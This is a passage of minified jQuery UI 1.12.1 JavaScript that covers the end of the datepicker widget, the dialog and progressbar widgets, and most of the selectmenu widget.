                        }, h = g(c[0]), E = Math.max(h, g(c[1] || "")), h = i ? Math.max(h, i.getFullYear()) : h, E = r ? Math.min(E, r.getFullYear()) : E, A.yearshtml += "<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>"; E >= h; h++) A.yearshtml += "<option value='" + h + "'" + (h === t ? " selected='selected'" : "") + ">" + h + "</option>";
                    A.yearshtml += "</select>", f += A.yearshtml, A.yearshtml = null
                }
            return f += this._get(A, "yearSuffix"), d && (f += (!o && u && Q ? "" : "&#xa0;") + S), f += "</div>"
        },
        _adjustInstDate: function(A, e, t) {
            var i = A.selectedYear + ("Y" === t ? e : 0),
                r = A.selectedMonth + ("M" === t ? e : 0),
                o = Math.min(A.selectedDay, this._getDaysInMonth(i, r)) + ("D" === t ? e : 0),
                n = this._restrictMinMax(A, this._daylightSavingAdjust(new Date(i, r, o)));
            A.selectedDay = n.getDate(), A.drawMonth = A.selectedMonth = n.getMonth(), A.drawYear = A.selectedYear = n.getFullYear(), ("M" === t || "Y" === t) && this._notifyChange(A)
        },
        _restrictMinMax: function(A, e) {
            var t = this._getMinMaxDate(A, "min"),
                i = this._getMinMaxDate(A, "max"),
                r = t && t > e ? t : e;
            return i && r > i ? i : r
        },
        _notifyChange: function(A) {
            var e = this._get(A, "onChangeMonthYear");
            e && e.apply(A.input ? A.input[0] : null, [A.selectedYear, A.selectedMonth + 1, A])
        },
        _getNumberOfMonths: function(A) {
            var e = this._get(A, "numberOfMonths");
            return null == e ? [1, 1] : "number" == typeof e ? [1, e] : e
        },
        _getMinMaxDate: function(A, e) {
            return this._determineDate(A, this._get(A, e + "Date"), null)
        },
        _getDaysInMonth: function(A, e) {
            return 32 - this._daylightSavingAdjust(new Date(A, e, 32)).getDate()
        },
        _getFirstDayOfMonth: function(A, e) {
            return new Date(A, e, 1).getDay()
        },
        _canAdjustMonth: function(A, e, t, i) {
            var r = this._getNumberOfMonths(A),
                o = this._daylightSavingAdjust(new Date(t, i + (0 > e ? e : r[0] * r[1]), 1));
            return 0 > e && o.setDate(this._getDaysInMonth(o.getFullYear(), o.getMonth())), this._isInRange(A, o)
        },
        _isInRange: function(A, e) {
            var t, i, r = this._getMinMaxDate(A, "min"),
                o = this._getMinMaxDate(A, "max"),
                n = null,
                s = null,
                a = this._get(A, "yearRange");
            return a && (t = a.split(":"), i = (new Date).getFullYear(), n = parseInt(t[0], 10), s = parseInt(t[1], 10), t[0].match(/[+\-].*/) && (n += i), t[1].match(/[+\-].*/) && (s += i)), (!r || e.getTime() >= r.getTime()) && (!o || e.getTime() <= o.getTime()) && (!n || e.getFullYear() >= n) && (!s || s >= e.getFullYear())
        },
        _getFormatConfig: function(A) {
            var e = this._get(A, "shortYearCutoff");
            return e = "string" != typeof e ? e : (new Date).getFullYear() % 100 + parseInt(e, 10), {
                shortYearCutoff: e,
                dayNamesShort: this._get(A, "dayNamesShort"),
                dayNames: this._get(A, "dayNames"),
                monthNamesShort: this._get(A, "monthNamesShort"),
                monthNames: this._get(A, "monthNames")
            }
        },
        _formatDate: function(A, e, t, i) {
            e || (A.currentDay = A.selectedDay, A.currentMonth = A.selectedMonth, A.currentYear = A.selectedYear);
            var r = e ? "object" == typeof e ? e : this._daylightSavingAdjust(new Date(i, t, e)) : this._daylightSavingAdjust(new Date(A.currentYear, A.currentMonth, A.currentDay));
            return this.formatDate(this._get(A, "dateFormat"), r, this._getFormatConfig(A))
        }
    }), A.fn.datepicker = function(e) {
        if (!this.length) return this;
        A.datepicker.initialized || (A(document).on("mousedown", A.datepicker._checkExternalClick), A.datepicker.initialized = !0), 0 === A("#" + A.datepicker._mainDivId).length && A("body").append(A.datepicker.dpDiv);
        var t = Array.prototype.slice.call(arguments, 1);
        return "string" != typeof e || "isDisabled" !== e && "getDate" !== e && "widget" !== e ? "option" === e && 2 === arguments.length && "string" == typeof arguments[1] ? A.datepicker["_" + e + "Datepicker"].apply(A.datepicker, [this[0]].concat(t)) : this.each(function() {
            "string" == typeof e ? A.datepicker["_" + e + "Datepicker"].apply(A.datepicker, [this].concat(t)) : A.datepicker._attachDatepicker(this, e)
        }) : A.datepicker["_" + e + "Datepicker"].apply(A.datepicker, [this[0]].concat(t))
    }, A.datepicker = new i, A.datepicker.initialized = !1, A.datepicker.uuid = (new Date).getTime(), A.datepicker.version = "1.12.1", A.datepicker, A.widget("ui.dialog", {
        version: "1.12.1",
        options: {
            appendTo: "body",
            autoOpen: !0,
            buttons: [],
            classes: {
                "ui-dialog": "ui-corner-all",
                "ui-dialog-titlebar": "ui-corner-all"
            },
            closeOnEscape: !0,
            closeText: "Close",
            draggable: !0,
            hide: null,
            height: "auto",
            maxHeight: null,
            maxWidth: null,
            minHeight: 150,
            minWidth: 150,
            modal: !1,
            position: {
                my: "center",
                at: "center",
                of: window,
                collision: "fit",
                using: function(e) {
                    var t = A(this).css(e).offset().top;
                    0 > t && A(this).css("top", e.top - t)
                }
            },
            resizable: !0,
            show: null,
            title: null,
            width: 300,
            beforeClose: null,
            close: null,
            drag: null,
            dragStart: null,
            dragStop: null,
            focus: null,
            open: null,
            resize: null,
            resizeStart: null,
            resizeStop: null
        },
        sizeRelatedOptions: {
            buttons: !0,
            height: !0,
            maxHeight: !0,
            maxWidth: !0,
            minHeight: !0,
            minWidth: !0,
            width: !0
        },
        resizableRelatedOptions: {
            maxHeight: !0,
            maxWidth: !0,
            minHeight: !0,
            minWidth: !0
        },
        _create: function() {
            this.originalCss = {
                display: this.element[0].style.display,
                width: this.element[0].style.width,
                minHeight: this.element[0].style.minHeight,
                maxHeight: this.element[0].style.maxHeight,
                height: this.element[0].style.height
            }, this.originalPosition = {
                parent: this.element.parent(),
                index: this.element.parent().children().index(this.element)
            }, this.originalTitle = this.element.attr("title"), null == this.options.title && null != this.originalTitle && (this.options.title = this.originalTitle), this.options.disabled && (this.options.disabled = !1), this._createWrapper(), this.element.show().removeAttr("title").appendTo(this.uiDialog), this._addClass("ui-dialog-content", "ui-widget-content"), this._createTitlebar(), this._createButtonPane(), this.options.draggable && A.fn.draggable && this._makeDraggable(), this.options.resizable && A.fn.resizable && this._makeResizable(), this._isOpen = !1, this._trackFocus()
        },
        _init: function() {
            this.options.autoOpen && this.open()
        },
        _appendTo: function() {
            var e = this.options.appendTo;
            return e && (e.jquery || e.nodeType) ? A(e) : this.document.find(e || "body").eq(0)
        },
        _destroy: function() {
            var A, e = this.originalPosition;
            this._untrackInstance(), this._destroyOverlay(), this.element.removeUniqueId().css(this.originalCss).detach(),
                this.uiDialog.remove(), this.originalTitle && this.element.attr("title", this.originalTitle), A = e.parent.children().eq(e.index), A.length && A[0] !== this.element[0] ? A.before(this.element) : e.parent.append(this.element)
        },
        widget: function() {
            return this.uiDialog
        },
        disable: A.noop,
        enable: A.noop,
        close: function(e) {
            var t = this;
            this._isOpen && !1 !== this._trigger("beforeClose", e) && (this._isOpen = !1, this._focusedElement = null, this._destroyOverlay(), this._untrackInstance(), this.opener.filter(":focusable").trigger("focus").length || A.ui.safeBlur(A.ui.safeActiveElement(this.document[0])), this._hide(this.uiDialog, this.options.hide, function() {
                t._trigger("close", e)
            }))
        },
        isOpen: function() {
            return this._isOpen
        },
        moveToTop: function() {
            this._moveToTop()
        },
        _moveToTop: function(e, t) {
            var i = !1,
                r = this.uiDialog.siblings(".ui-front:visible").map(function() {
                    return +A(this).css("z-index")
                }).get(),
                o = Math.max.apply(null, r);
            return o >= +this.uiDialog.css("z-index") && (this.uiDialog.css("z-index", o + 1), i = !0), i && !t && this._trigger("focus", e), i
        },
        open: function() {
            var e = this;
            return this._isOpen ? void(this._moveToTop() && this._focusTabbable()) : (this._isOpen = !0, this.opener = A(A.ui.safeActiveElement(this.document[0])), this._size(), this._position(), this._createOverlay(), this._moveToTop(null, !0), this.overlay && this.overlay.css("z-index", this.uiDialog.css("z-index") - 1), this._show(this.uiDialog, this.options.show, function() {
                e._focusTabbable(), e._trigger("focus")
            }), this._makeFocusTarget(), void this._trigger("open"))
        },
        _focusTabbable: function() {
            var A = this._focusedElement;
            A || (A = this.element.find("[autofocus]")), A.length || (A = this.element.find(":tabbable")), A.length || (A = this.uiDialogButtonPane.find(":tabbable")), A.length || (A = this.uiDialogTitlebarClose.filter(":tabbable")), A.length || (A = this.uiDialog), A.eq(0).trigger("focus")
        },
        _keepFocus: function(e) {
            function t() {
                var e = A.ui.safeActiveElement(this.document[0]);
                this.uiDialog[0] === e || A.contains(this.uiDialog[0], e) || this._focusTabbable()
            }
            e.preventDefault(), t.call(this), this._delay(t)
        },
        _createWrapper: function() {
            this.uiDialog = A("<div>").hide().attr({
                tabIndex: -1,
                role: "dialog"
            }).appendTo(this._appendTo()), this._addClass(this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front"), this._on(this.uiDialog, {
                keydown: function(e) {
                    if (this.options.closeOnEscape && !e.isDefaultPrevented() && e.keyCode && e.keyCode === A.ui.keyCode.ESCAPE) return e.preventDefault(), void this.close(e);
                    if (e.keyCode === A.ui.keyCode.TAB && !e.isDefaultPrevented()) {
                        var t = this.uiDialog.find(":tabbable"),
                            i = t.filter(":first"),
                            r = t.filter(":last");
                        e.target !== r[0] && e.target !== this.uiDialog[0] || e.shiftKey ? e.target !== i[0] && e.target !== this.uiDialog[0] || !e.shiftKey || (this._delay(function() {
                            r.trigger("focus")
                        }), e.preventDefault()) : (this._delay(function() {
                            i.trigger("focus")
                        }), e.preventDefault())
                    }
                },
                mousedown: function(A) {
                    this._moveToTop(A) && this._focusTabbable()
                }
            }), this.element.find("[aria-describedby]").length || this.uiDialog.attr({
                "aria-describedby": this.element.uniqueId().attr("id")
            })
        },
        _createTitlebar: function() {
            var e;
            this.uiDialogTitlebar = A("<div>"), this._addClass(this.uiDialogTitlebar, "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix"), this._on(this.uiDialogTitlebar, {
                mousedown: function(e) {
                    A(e.target).closest(".ui-dialog-titlebar-close") || this.uiDialog.trigger("focus")
                }
            }), this.uiDialogTitlebarClose = A("<button type='button'></button>").button({
                label: A("<a>").text(this.options.closeText).html(),
                icon: "ui-icon-closethick",
                showLabel: !1
            }).appendTo(this.uiDialogTitlebar), this._addClass(this.uiDialogTitlebarClose, "ui-dialog-titlebar-close"), this._on(this.uiDialogTitlebarClose, {
                click: function(A) {
                    A.preventDefault(), this.close(A)
                }
            }), e = A("<span>").uniqueId().prependTo(this.uiDialogTitlebar), this._addClass(e, "ui-dialog-title"), this._title(e), this.uiDialogTitlebar.prependTo(this.uiDialog), this.uiDialog.attr({
                "aria-labelledby": e.attr("id")
            })
        },
        _title: function(A) {
            this.options.title ? A.text(this.options.title) : A.html("&#160;")
        },
        _createButtonPane: function() {
            this.uiDialogButtonPane = A("<div>"), this._addClass(this.uiDialogButtonPane, "ui-dialog-buttonpane", "ui-widget-content ui-helper-clearfix"), this.uiButtonSet = A("<div>").appendTo(this.uiDialogButtonPane), this._addClass(this.uiButtonSet, "ui-dialog-buttonset"), this._createButtons()
        },
        _createButtons: function() {
            var e = this,
                t = this.options.buttons;
            return this.uiDialogButtonPane.remove(), this.uiButtonSet.empty(), A.isEmptyObject(t) || A.isArray(t) && !t.length ? void this._removeClass(this.uiDialog, "ui-dialog-buttons") : (A.each(t, function(t, i) {
                var r, o;
                i = A.isFunction(i) ? {
                    click: i,
                    text: t
                } : i, i = A.extend({
                    type: "button"
                }, i), r = i.click, o = {
                    icon: i.icon,
                    iconPosition: i.iconPosition,
                    showLabel: i.showLabel,
                    icons: i.icons,
                    text: i.text
                }, delete i.click, delete i.icon, delete i.iconPosition, delete i.showLabel, delete i.icons, "boolean" == typeof i.text && delete i.text, A("<button></button>", i).button(o).appendTo(e.uiButtonSet).on("click", function() {
                    r.apply(e.element[0], arguments)
                })
            }), this._addClass(this.uiDialog, "ui-dialog-buttons"), void this.uiDialogButtonPane.appendTo(this.uiDialog))
        },
        _makeDraggable: function() {
            function e(A) {
                return {
                    position: A.position,
                    offset: A.offset
                }
            }
            var t = this,
                i = this.options;
            this.uiDialog.draggable({
                cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
                handle: ".ui-dialog-titlebar",
                containment: "document",
                start: function(i, r) {
                    t._addClass(A(this), "ui-dialog-dragging"), t._blockFrames(), t._trigger("dragStart", i, e(r))
                },
                drag: function(A, i) {
                    t._trigger("drag", A, e(i))
                },
                stop: function(r, o) {
                    var n = o.offset.left - t.document.scrollLeft(),
                        s = o.offset.top - t.document.scrollTop();
                    i.position = {
                        my: "left top",
                        at: "left" + (n >= 0 ? "+" : "") + n + " top" + (s >= 0 ? "+" : "") + s,
                        of: t.window
                    }, t._removeClass(A(this), "ui-dialog-dragging"), t._unblockFrames(), t._trigger("dragStop", r, e(o))
                }
            })
        },
        _makeResizable: function() {
            function e(A) {
                return {
                    originalPosition: A.originalPosition,
                    originalSize: A.originalSize,
                    position: A.position,
                    size: A.size
                }
            }
            var t = this,
                i = this.options,
                r = i.resizable,
                o = this.uiDialog.css("position"),
                n = "string" == typeof r ? r : "n,e,s,w,se,sw,ne,nw";
            this.uiDialog.resizable({
                cancel: ".ui-dialog-content",
                containment: "document",
                alsoResize: this.element,
                maxWidth: i.maxWidth,
                maxHeight: i.maxHeight,
                minWidth: i.minWidth,
                minHeight: this._minHeight(),
                handles: n,
                start: function(i, r) {
                    t._addClass(A(this), "ui-dialog-resizing"), t._blockFrames(), t._trigger("resizeStart", i, e(r))
                },
                resize: function(A, i) {
                    t._trigger("resize", A, e(i))
                },
                stop: function(r, o) {
                    var n = t.uiDialog.offset(),
                        s = n.left - t.document.scrollLeft(),
                        a = n.top - t.document.scrollTop();
                    i.height = t.uiDialog.height(), i.width = t.uiDialog.width(), i.position = {
                        my: "left top",
                        at: "left" + (s >= 0 ? "+" : "") + s + " top" + (a >= 0 ? "+" : "") + a,
                        of: t.window
                    }, t._removeClass(A(this), "ui-dialog-resizing"), t._unblockFrames(), t._trigger("resizeStop", r, e(o))
                }
            }).css("position", o)
        },
        _trackFocus: function() {
            this._on(this.widget(), {
                focusin: function(e) {
                    this._makeFocusTarget(), this._focusedElement = A(e.target)
                }
            })
        },
        _makeFocusTarget: function() {
            this._untrackInstance(), this._trackingInstances().unshift(this)
        },
        _untrackInstance: function() {
            var e = this._trackingInstances(),
                t = A.inArray(this, e); - 1 !== t && e.splice(t, 1)
        },
        _trackingInstances: function() {
            var A = this.document.data("ui-dialog-instances");
            return A || (A = [], this.document.data("ui-dialog-instances", A)), A
        },
        _minHeight: function() {
            var A = this.options;
            return "auto" === A.height ? A.minHeight : Math.min(A.minHeight, A.height)
        },
        _position: function() {
            var A = this.uiDialog.is(":visible");
            A || this.uiDialog.show(), this.uiDialog.position(this.options.position), A || this.uiDialog.hide()
        },
        _setOptions: function(e) {
            var t = this,
                i = !1,
                r = {};
            A.each(e, function(A, e) {
                t._setOption(A, e), A in t.sizeRelatedOptions && (i = !0), A in t.resizableRelatedOptions && (r[A] = e)
            }), i && (this._size(), this._position()), this.uiDialog.is(":data(ui-resizable)") && this.uiDialog.resizable("option", r)
        },
        _setOption: function(e, t) {
            var i, r, o = this.uiDialog;
            "disabled" !== e && (this._super(e, t), "appendTo" === e && this.uiDialog.appendTo(this._appendTo()), "buttons" === e && this._createButtons(), "closeText" === e && this.uiDialogTitlebarClose.button({
                label: A("<a>").text("" + this.options.closeText).html()
            }), "draggable" === e && (i = o.is(":data(ui-draggable)"), i && !t && o.draggable("destroy"), !i && t && this._makeDraggable()), "position" === e && this._position(), "resizable" === e && (r = o.is(":data(ui-resizable)"), r && !t && o.resizable("destroy"), r && "string" == typeof t && o.resizable("option", "handles", t), r || !1 === t || this._makeResizable()), "title" === e && this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))
        },
        _size: function() {
            var A, e, t, i = this.options;
            this.element.show().css({
                width: "auto",
                minHeight: 0,
                maxHeight: "none",
                height: 0
            }), i.minWidth > i.width && (i.width = i.minWidth), A = this.uiDialog.css({
                height: "auto",
                width: i.width
            }).outerHeight(), e = Math.max(0, i.minHeight - A), t = "number" == typeof i.maxHeight ? Math.max(0, i.maxHeight - A) : "none", "auto" === i.height ? this.element.css({
                minHeight: e,
                maxHeight: t,
                height: "auto"
            }) : this.element.height(Math.max(0, i.height - A)), this.uiDialog.is(":data(ui-resizable)") && this.uiDialog.resizable("option", "minHeight", this._minHeight())
        },
        _blockFrames: function() {
            this.iframeBlocks = this.document.find("iframe").map(function() {
                var e = A(this);
                return A("<div>").css({
                    position: "absolute",
                    width: e.outerWidth(),
                    height: e.outerHeight()
                }).appendTo(e.parent()).offset(e.offset())[0]
            })
        },
        _unblockFrames: function() {
            this.iframeBlocks && (this.iframeBlocks.remove(), delete this.iframeBlocks)
        },
        _allowInteraction: function(e) {
            return !!A(e.target).closest(".ui-dialog").length || !!A(e.target).closest(".ui-datepicker").length
        },
        _createOverlay: function() {
            if (this.options.modal) {
                var e = !0;
                this._delay(function() {
                    e = !1
                }), this.document.data("ui-dialog-overlays") || this._on(this.document, {
                    focusin: function(A) {
                        e || this._allowInteraction(A) || (A.preventDefault(), this._trackingInstances()[0]._focusTabbable())
                    }
                }), this.overlay = A("<div>").appendTo(this._appendTo()), this._addClass(this.overlay, null, "ui-widget-overlay ui-front"), this._on(this.overlay, {
                    mousedown: "_keepFocus"
                }), this.document.data("ui-dialog-overlays", (this.document.data("ui-dialog-overlays") || 0) + 1)
            }
        },
        _destroyOverlay: function() {
            if (this.options.modal && this.overlay) {
                var A = this.document.data("ui-dialog-overlays") - 1;
                A ? this.document.data("ui-dialog-overlays", A) : (this._off(this.document, "focusin"), this.document.removeData("ui-dialog-overlays")), this.overlay.remove(), this.overlay = null
            }
        }
    }), !1 !== A.uiBackCompat && A.widget("ui.dialog", A.ui.dialog, {
        options: {
            dialogClass: ""
        },
        _createWrapper: function() {
            this._super(), this.uiDialog.addClass(this.options.dialogClass)
        },
        _setOption: function(A, e) {
            "dialogClass" === A && this.uiDialog.removeClass(this.options.dialogClass).addClass(e), this._superApply(arguments)
        }
    }), A.ui.dialog, A.widget("ui.progressbar", {
        version: "1.12.1",
        options: {
            classes: {
                "ui-progressbar": "ui-corner-all",
                "ui-progressbar-value": "ui-corner-left",
                "ui-progressbar-complete": "ui-corner-right"
            },
            max: 100,
            value: 0,
            change: null,
            complete: null
        },
        min: 0,
        _create: function() {
            this.oldValue = this.options.value = this._constrainedValue(), this.element.attr({
                role: "progressbar",
                "aria-valuemin": this.min
            }), this._addClass("ui-progressbar", "ui-widget ui-widget-content"), this.valueDiv = A("<div>").appendTo(this.element), this._addClass(this.valueDiv, "ui-progressbar-value", "ui-widget-header"), this._refreshValue()
        },
        _destroy: function() {
            this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"), this.valueDiv.remove()
        },
        value: function(A) {
            return void 0 === A ? this.options.value : (this.options.value = this._constrainedValue(A), void this._refreshValue())
        },
        _constrainedValue: function(A) {
            return void 0 === A && (A = this.options.value), this.indeterminate = !1 === A, "number" != typeof A && (A = 0), !this.indeterminate && Math.min(this.options.max, Math.max(this.min, A))
        },
        _setOptions: function(A) {
            var e = A.value;
            delete A.value, this._super(A), this.options.value = this._constrainedValue(e), this._refreshValue()
        },
        _setOption: function(A, e) {
            "max" === A && (e = Math.max(this.min, e)), this._super(A, e)
        },
        _setOptionDisabled: function(A) {
            this._super(A), this.element.attr("aria-disabled", A), this._toggleClass(null, "ui-state-disabled", !!A)
        },
        _percentage: function() {
            return this.indeterminate ? 100 : 100 * (this.options.value - this.min) / (this.options.max - this.min)
        },
        _refreshValue: function() {
            var e = this.options.value,
                t = this._percentage();
            this.valueDiv.toggle(this.indeterminate || e > this.min).width(t.toFixed(0) + "%"), this._toggleClass(this.valueDiv, "ui-progressbar-complete", null, e === this.options.max)._toggleClass("ui-progressbar-indeterminate", null, this.indeterminate), this.indeterminate ? (this.element.removeAttr("aria-valuenow"), this.overlayDiv || (this.overlayDiv = A("<div>").appendTo(this.valueDiv), this._addClass(this.overlayDiv, "ui-progressbar-overlay"))) : (this.element.attr({
                "aria-valuemax": this.options.max,
                "aria-valuenow": e
            }), this.overlayDiv && (this.overlayDiv.remove(), this.overlayDiv = null)), this.oldValue !== e && (this.oldValue = e, this._trigger("change")), e === this.options.max && this._trigger("complete")
        }
    }), A.widget("ui.selectmenu", [A.ui.formResetMixin, {
        version: "1.12.1",
        defaultElement: "<select>",
        options: {
            appendTo: null,
            classes: {
                "ui-selectmenu-button-open": "ui-corner-top",
                "ui-selectmenu-button-closed": "ui-corner-all"
            },
            disabled: null,
            icons: {
                button: "ui-icon-triangle-1-s"
            },
            position: {
                my: "left top",
                at: "left bottom",
                collision: "none"
            },
            width: !1,
            change: null,
            close: null,
            focus: null,
            open: null,
            select: null
        },
        _create: function() {
            var e = this.element.uniqueId().attr("id");
            this.ids = {
                element: e,
                button: e + "-button",
                menu: e + "-menu"
            }, this._drawButton(), this._drawMenu(), this._bindFormResetHandler(), this._rendered = !1, this.menuItems = A()
        },
        _drawButton: function() {
            var e, t = this,
                i = this._parseOption(this.element.find("option:selected"), this.element[0].selectedIndex);
            this.labels = this.element.labels().attr("for", this.ids.button), this._on(this.labels, {
                click: function(A) {
                    this.button.focus(), A.preventDefault()
                }
            }), this.element.hide(), this.button = A("<span>", {
                tabindex: this.options.disabled ? -1 : 0,
                id: this.ids.button,
                role: "combobox",
                "aria-expanded": "false",
                "aria-autocomplete": "list",
                "aria-owns": this.ids.menu,
                "aria-haspopup": "true",
                title: this.element.attr("title")
            }).insertAfter(this.element), this._addClass(this.button, "ui-selectmenu-button ui-selectmenu-button-closed", "ui-button ui-widget"), e = A("<span>").appendTo(this.button), this._addClass(e, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button), this.buttonItem = this._renderButtonItem(i).appendTo(this.button), !1 !== this.options.width && this._resizeButton(), this._on(this.button, this._buttonEvents), this.button.one("focusin", function() {
                t._rendered || t._refreshMenu()
            })
        },
        _drawMenu: function() {
            var e = this;
            this.menu = A("<ul>", {
                "aria-hidden": "true",
                "aria-labelledby": this.ids.button,
                id: this.ids.menu
            }), this.menuWrap = A("<div>").append(this.menu), this._addClass(this.menuWrap, "ui-selectmenu-menu", "ui-front"), this.menuWrap.appendTo(this._appendTo()), this.menuInstance = this.menu.menu({
                classes: {
                    "ui-menu": "ui-corner-bottom"
                },
                role: "listbox",
                select: function(A, t) {
                    A.preventDefault(), e._setSelection(), e._select(t.item.data("ui-selectmenu-item"), A)
                },
                focus: function(A, t) {
                    var i = t.item.data("ui-selectmenu-item");
                    null != e.focusIndex && i.index !== e.focusIndex && (e._trigger("focus", A, {
                        item: i
                    }), e.isOpen || e._select(i, A)), e.focusIndex = i.index, e.button.attr("aria-activedescendant", e.menuItems.eq(i.index).attr("id"))
                }
            }).menu("instance"), this.menuInstance._off(this.menu, "mouseleave"), this.menuInstance._closeOnDocumentClick = function() {
                return !1
            }, this.menuInstance._isDivider = function() {
                return !1
            }
        },
        refresh: function() {
            this._refreshMenu(), this.buttonItem.replaceWith(this.buttonItem = this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item") || {})), null === this.options.width && this._resizeButton()
        },
        _refreshMenu: function() {
            var A, e = this.element.find("option");
            this.menu.empty(), this._parseOptions(e), this._renderMenu(this.menu, this.items), this.menuInstance.refresh(), this.menuItems = this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"), this._rendered = !0, e.length && (A = this._getSelectedItem(), this.menuInstance.focus(null, A), this._setAria(A.data("ui-selectmenu-item")), this._setOption("disabled", this.element.prop("disabled")))
        },
        open: function(A) {
            this.options.disabled || (this._rendered ? (this._removeClass(this.menu.find(".ui-state-active"), null, "ui-state-active"), this.menuInstance.focus(null, this._getSelectedItem())) : this._refreshMenu(), this.menuItems.length && (this.isOpen = !0, this._toggleAttr(), this._resizeMenu(), this._position(), this._on(this.document, this._documentClick), this._trigger("open", A)))
        },
        _position: function() {
            this.menuWrap.position(A.extend({ of: this.button
            }, this.options.position))
        },
        close: function(A) {
            this.isOpen && (this.isOpen = !1, this._toggleAttr(), this.range = null, this._off(this.document), this._trigger("close", A))
        },
        widget: function() {
            return this.button
        },
        menuWidget: function() {
            return this.menu
        },
        _renderButtonItem: function(e) {
            var t = A("<span>");
            return this._setText(t, e.label), this._addClass(t, "ui-selectmenu-text"), t
        },
        _renderMenu: function(e, t) {
            var i = this,
                r = "";
            A.each(t, function(t, o) {
                var n;
                o.optgroup !== r && (n = A("<li>", {
                    text: o.optgroup
                }), i._addClass(n, "ui-selectmenu-optgroup", "ui-menu-divider" + (o.element.parent("optgroup").prop("disabled") ? " ui-state-disabled" : "")), n.appendTo(e), r = o.optgroup), i._renderItemData(e, o)
            })
        },
        _renderItemData: function(A, e) {
            return this._renderItem(A, e).data("ui-selectmenu-item", e)
        },
        _renderItem: function(e, t) {
            var i = A("<li>"),
                r = A("<div>", {
                    title: t.element.attr("title")
                });
            return t.disabled && this._addClass(i, null, "ui-state-disabled"), this._setText(r, t.label), i.append(r).appendTo(e)
        },
        _setText: function(A, e) {
            e ? A.text(e) : A.html("&#160;")
        },
        _move: function(A, e) {
            var t, i, r = ".ui-menu-item";
            this.isOpen ? t = this.menuItems.eq(this.focusIndex).parent("li") : (t = this.menuItems.eq(this.element[0].selectedIndex).parent("li"), r += ":not(.ui-state-disabled)"), i = "first" === A || "last" === A ? t["first" === A ? "prevAll" : "nextAll"](r).eq(-1) : t[A + "All"](r).eq(0), i.length && this.menuInstance.focus(e, i)
        },
        _getSelectedItem: function() {
            return this.menuItems.eq(this.element[0].selectedIndex).parent("li")
        },
        _toggle: function(A) {
            this[this.isOpen ? "close" : "open"](A)
        },
        _setSelection: function() {
            var A;
            this.range && (window.getSelection ? (A = window.getSelection(), A.removeAllRanges(), A.addRange(this.range)) : this.range.select(), this.button.focus())
        },
        _documentClick: {
            mousedown: function(e) {
                this.isOpen && (A(e.target).closest(".ui-selectmenu-menu, #" + A.ui.escapeSelector(this.ids.button)).length || this.close(e))
            }
        },
        _buttonEvents: {
            mousedown: function() {
                var A;
                window.getSelection ? (A = window.getSelection(), A.rangeCount && (this.range = A.getRangeAt(0))) : this.range = document.selection.createRange()
            },
            click: function(A) {
                this._setSelection(), this._toggle(A)
            },
            keydown: function(e) {
                var t = !0;
                switch (e.keyCode) {
                    case A.ui.keyCode.TAB:
                    case A.ui.keyCode.ESCAPE:
                        this.close(e), t = !1;
                        break;
                    case A.ui.keyCode.ENTER:
                        this.isOpen && this._selectFocusedItem(e);
                        break;
                    case A.ui.keyCode.UP:
                        e.altKey ? this._toggle(e) : this._move("prev", e);
                        break;
                    case A.ui.keyCode.DOWN:
                        e.altKey ? this._toggle(e) : this._move("next", e);
                        break;
                    case A.ui.keyCode.SPACE:
                        this.isOpen ? this._selectFocusedItem(e) : this._toggle(e);
                        break;
                    case A.ui.keyCode.LEFT:
                        this._move("prev", e);
                        break;
                    case A.ui.keyCode.RIGHT:
                        this._move("next", e);
                        break;
                    case A.ui.keyCode.HOME:
                    case A.ui.keyCode.PAGE_UP:
                        this._move("first", e);
                        break;
                    case A.ui.keyCode.END:
                    case A.ui.keyCode.PAGE_DOWN:
                        this._move("last", e);
                        break;
                    default:
                        this.menu.trigger(e), t = !1
                }
                t && e.preventDefault()
            }
        },
        _selectFocusedItem: function(A) {
            var e = this.menuItems.eq(this.focusIndex).parent("li");
            e.hasClass("ui-state-disabled") || this._select(e.data("ui-selectmenu-item"), A)
        },
        _select: function(A, e) {
            var t = this.element[0].selectedIndex;
            this.element[0].selectedIndex = A.index, this.buttonItem.replaceWith(this.buttonItem = this._renderButtonItem(A)), this._setAria(A), this._trigger("select", e, {
                item: A
            }), A.index !== t && this._trigger("change", e, {
                item: A
            }), this.close(e)
        },
        _setAria: function(A) {
            var e = this.menuItems.eq(A.index).attr("id");
            this.button.attr({
                "aria-labelledby": e,
                "aria-activedescendant": e
            }), this.menu.attr("aria-activedescendant", e)
        },
        _setOption: function(A, e) {
            if ("icons" === A) {
                var t = this.button.find("span.ui-icon");
                this._removeClass(t, null, this.options.icons.button)._addClass(t, null, e.button)
            }
            this._super(A, e), "appendTo" === A && this.menuWrap.appendTo(this._appendTo()), "width" === A && this._resizeButton()
        },
        _setOptionDisabled: function(A) {
            this._super(A), this.menuInstance.option("disabled", A), this.button.attr("aria-disabled", A), this._toggleClass(this.button, null, "ui-state-disabled", A), this.element.prop("disabled", A), A ? (this.button.attr("tabindex", -1), this.close()) : this.button.attr("tabindex", 0)
        },
        _appendTo: function() {
            var e = this.options.appendTo;
            return e && (e = e.jquery || e.nodeType ? A(e) : this.document.find(e).eq(0)), e && e[0] || (e = this.element.closest(".ui-front, dialog")), e.length || (e = this.document[0].body), e
        },
        _toggleAttr: function() {
            this.button.attr("aria-expanded", this.isOpen), this._removeClass(this.button, "ui-selectmenu-button-" + (this.isOpen ? "closed" : "open"))._addClass(this.button, "ui-selectmenu-button-" + (this.isOpen ? "open" : "closed"))._toggleClass(this.menuWrap, "ui-selectmenu-open", null, this.isOpen), this.menu.attr("aria-hidden", !this.isOpen)
        },
        _resizeButton: function() {
            var A = this.options.width;
            return !1 === A ? void this.button.css("width", "") : (null === A && (A = this.element.show().outerWidth(), this.element.hide()), void this.button.outerWidth(A))
        },
        _resizeMenu: function() {
            this.menu.outerWidth(Math.max(this.button.outerWidth(), this.menu.width("").outerWidth() + 1))
        },
        _getCreateOptions: function() {
            var A = this._super();
            return A.disabled = this.element.prop("disabled"), A
        },
        _parseOptions: function(e) {
            var t = this,
                i = [];
            e.each(function(e, r) {
                i.push(t._parseOption(A(r), e))
            }), this.items = i
        },
        _parseOption: function(A, e) {
            var t = A.parent("optgroup");
            return {
                element: A,
                index: e,
